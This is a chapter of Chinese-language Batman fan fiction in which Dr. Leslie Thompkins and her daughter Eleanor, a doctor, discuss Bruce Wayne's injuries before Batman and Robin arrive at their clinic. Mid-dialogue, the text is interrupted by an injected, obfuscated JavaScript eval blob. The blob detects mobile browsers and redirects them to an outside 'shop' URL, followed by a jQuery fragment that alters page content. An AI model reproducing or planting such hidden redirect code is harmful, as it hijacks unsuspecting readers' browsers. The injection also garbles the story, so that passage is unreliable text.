司机把埃拉诺送回公园街的诊所时,时间还很早,这样,她就可以换下来莱斯利医生,让她在下午时休息一下,以便有更充足的精力应付晚上的夜班。
晚上,护士要下班的。
留在诊所的只有莱斯利和埃拉诺,而在之前大多数时候,莱斯利医生都会把埃拉诺——当时还是个孩子,还是个青少年的埃拉诺赶到二楼睡觉。
上大学后埃拉诺开始陪妈妈一起值夜班,但她要忙着做志愿做科研,待在哥谭的时间也没有多久。
所以,埃拉诺还从来没有独立值过一次莱斯利医生诊所的夜班。
而今天……
今天也不是她一个人值班。
就和以前在假期里回来一样,是和妈妈一起。在不多的几次夜班里都很平静,没有蝙蝠侠,没有罗宾,也没有哥谭的其他义警们。
仿佛十多年的那个夜晚只是一个梦,但埃拉诺清清楚楚记得蝙蝠侠从万能腰带里拿出来的蝙蝠糖,还记得罗宾过于活泼的一百遍“你一定要保密”。
“你知道我最爱我们的诊所哪一点吗,妈?”
送走下午的最后一位病人——一个有关节炎的老人,埃拉诺起身洗手。
“因为我们会接诊蝙蝠侠?”莱斯利医生从楼上一边走下来一边用开玩笑的语气说,“我知道你一直很崇拜蝙蝠侠。但我们最好祈祷他不要受伤。”
莱斯利下午被埃拉诺堵在二楼小睡了一会,埃拉诺不能接受妈妈白天晚上不眠不休地工作,就算诊所的夜班不需要一直醒着,总是被打断的睡眠对一位老人来说也是负担了。
埃拉诺往手上挤消毒洗手液,然后搓开泡沫,手心里的泡沫很快变成又白又轻的一蓬。
“我最喜欢的我可以给刚才那个病人开抗生素而不是一开口就是1000毫升强效泰诺。”
埃拉诺说完那句话,莱斯利医生站在楼梯上,静静地看了女儿几秒。外面已经全黑了,没有路灯,但诊所里的灯开到最大。
“这也是我最爱这个诊所的一点,”莱斯利终于开口,声音温和,“能开对的药,而不是只能开方便的药。”
她走下最后几级台阶,来到洗手池旁,也挤了些洗手液。母女俩并排站着,四只手在流动的温水下搓出相似的,带着消毒水气味的泡沫。
一楼是诊所,二楼是她们的生活区,埃拉诺洗完手擦干,忍不住笑出来。
“妈,你干嘛要下来呢?我们的厨房在楼上,我们要在二楼做饭,在二楼吃饭。你根本没必要下来洗手。”
埃拉诺看到水流从洗手池的边缘飞溅出来,星星点点地沾在白大褂上,然后她擦干净手,把白大褂挂在楼下,准备上去。
“天啊,妈妈,你不会以为自己是要下楼开始下午的工作吧——告诉我现在是几点。”
年轻的医生故意很夸张地说。
莱斯利笑了笑。
“因为我想想看一下你的工作怎么样,看起来今天下午的接诊已经结束了——”
埃拉诺打断她。
“妈,告诉我现在是几点?”
“六点钟,下午六点,东部时间六点,埃拉诺。”
莱斯利医生显然明白了她的意图。
“棒极了。”
满意了。
确认了莱斯利·汤普金斯医生没有老年痴呆的前兆。说真的,埃拉诺怀疑切尔西综合医院的韦恩医生——不是哥谭的韦恩,只是恰巧同姓——就已经老年痴呆了,或者是有别的什么脑病,胡顿主任在311会议上把他请到了台前……至于说结果,不说也罢。
学生包庇老师。
很正常。
埃拉诺确信胡顿主任已经质询问题提前交给韦恩医生了。
她知道自己在干什么。
再看一眼,很好,莱斯利医生的面部很对称,至少,埃拉诺没有看到任何值得称为“卒中前兆”的症状。
母女再次上楼,一起去准备晚餐。
晚餐是简单的意面,肉酱是提前熬好的,十分钟后,煮好的意大利面上淋上一勺番茄肉酱,开饭。
埃拉诺一边卷着面条,一边斟酌着开口。
“韦恩先生今天表现得……像个模范病人。”她选了个安全的开头。
保密协议允许她向莱斯利医生透露这些。
这门看没准妈妈能够告诉自己更多一点事情,她和韦恩的交情看起来不止是犯罪巷的慈善诊所。
莱斯利抬眼看了看她,没说话,只是轻轻扬了扬眉毛。
“几乎太模范了。”埃拉诺补充道,用叉子戳起一颗橄榄,“神经系统筛查的反应精准得像教科书。血压和心率都在理想区间。对于一个声称一周前刚做过开颅手术的人而言,他的康复速度快得不科学。我看了他的伤口,恢复良好。”
“有些人就是恢复得快。”
莱斯利平静地说。
“潘尼沃斯先生提到,韦恩先生喜欢在海外用临时医疗团队,结束后销毁所有记录。”埃拉诺放下叉子,看着母亲,“你听说过这种做法吗?”
哥谭正在暗下来,埃拉诺看了看黑洞洞的窗外,她已经习惯了不亮的路灯,昨天它还是亮着的,大概是今天凌晨的时候被打破了。
“有些病人,”莱斯利慢慢地说,用餐巾擦了擦嘴角,“确实非常注重隐私。尤其是当他们的健康状况可能影响股价,舆论,或者……其他更敏感的事务时。”
埃拉诺点点头。
这个解释成立,但显然不是全部。
“我看见了伤疤,妈,”她轻声说,“很多。旧的,新的,各种形状的。不是冲浪板或者滑雪板能造成的。”
莱斯利医生的手停顿了一下。
而埃拉诺格外关注了这种停顿,确认这只是单纯的动作停顿,而不是一过性脑缺血发作导致的无法控制肢体。
然后,莱斯利医生的手顿了更久的时间。她注意到了。
“埃拉诺,你在看什么?”
“看你的右脑是不是还能控制左手。”
“不,埃拉诺,我的右脑可以控制我的左手,我让叉子从手里掉下来只是为了表现我的惊讶。”
“哦,”埃拉诺干巴巴地说,“我想小心一点总是没错的,你太累了,而且你也老了,妈。”
……
“埃拉诺,”莱斯利跳过自己的话题,“在这个城市,人们受伤的原因远比新闻报道的复杂。作为医生,我们的职责是治疗伤口,而不是审判伤口的来历。”
“我知道。”埃拉诺立刻说,“我没问任何问题。只是……做了记录。”
莱斯利的表情柔和下来。
“你做得对,”她顿了顿,“阿尔弗雷德还说什么了?”
“他给了我孩子们的疫苗接种记录,提到了过敏史。哦,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153954|196492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我还确认了杰森·陶德是活着的——潘尼沃斯用‘杰森少爷’这个称呼。”
她继续吃饭,同时注视莱斯利医生拿起叉子。
“埃拉诺,我想,即使是死的杰森,也可以被称作杰森少爷。”
年长的医生慢条斯理地说。
“哦,不会的,”埃拉诺很有信心,“我听出来潘尼沃斯先生说话的语气肯定是指的‘活的杰森少爷’而不是‘死的杰森少爷’。”
“唉,”莱斯利叹了口气,“杰森当然是活着的。”
“所以你也知道?”埃拉诺追问。
虽然她早就猜到了答案。
“我知道很多事情,亲爱的。”莱斯利没有直接回答,“但大多数时候,知道和说出来是两回事。如果你对于韦恩一家还有什么问题,嗯,可以来问我,我的医学院同学是托马斯·韦恩。事实上,在布鲁斯年轻的时候,我也照顾过他一段时间。”
猜出来了。
但埃拉诺还是很配合地哇了一声。
“所以,”她咽下食物,语气尽量显得随意,“你和韦恩家的交情,比我想象的还要深。”
“哥谭很小,埃拉诺。”莱斯利重新拿起叉子,动作恢复了之前的平稳,“尤其是在某些圈层里。托马斯和玛莎是很好的人,他们留下的……不止是财富。而布鲁斯……”
埃拉诺没让妈妈把这句话说完。
“我明白了,”她说,“我会专注于我能做的部分。建立档案,监测健康状况,处理我能处理的伤病,并在必要时……”
她抬眼看了看母亲。
“做好一个医生该做的准备。”
“你会做得很好的,埃拉诺。你一直都很清楚,医生的武器是知识和双手,不是好奇心。”
晚餐在一种宁静而默契的氛围中结束。埃拉诺抢着洗了碗,把莱斯利“赶”去客厅休息。
窗外,哥谭的夜晚彻底沉入黑暗,只有远处韦恩塔的灯光和高楼零星的窗户还亮着。
晚上九点,诊所正式转入夜间模式。楼下的灯只留了入口和急诊室的一盏,楼上生活区的灯光也调暗了。
埃拉诺整理着下午的病历,莱斯利则在翻阅一本医学期刊。
没有人睡觉。虽然埃拉诺觉得一人守半夜效率更高,但莱斯利不放心她一个人。
墙上时钟的秒针发出规律的轻响,一切安宁得就像哥谭任何一个普通的——或者说,相对普通的——夜晚。
直到临近十二点。
先是一阵极其轻微,几乎被雨声掩盖的,不同于风吹的窸窣声从诊所后巷的方向传来。埃拉诺正在核对药品清单,笔尖顿了一下。莱斯利翻页的动作也停了半秒。
然后,是两下清晰的,间隔均匀的敲击声,落在诊所的后门上。
埃拉诺和母亲对视了一眼。莱斯利点了点头,放下期刊,站起身,脸上没有任何惊讶。
埃拉诺的心跳快了一拍,但手上动作稳当。她合上文件夹,起身跟在莱斯利身后。
莱斯利走到后门,没有立刻开门,而是透过门上的防弹玻璃小窗向外看了一眼,然后才拧动门锁。
门开了。
带着夜晚寒意的潮湿空气涌进来,一同进入的,是一个被深色披风包裹的身影。
是蝙蝠侠。
然后蝙蝠侠掀开披风。
露出披风下的红绿灯小鸟。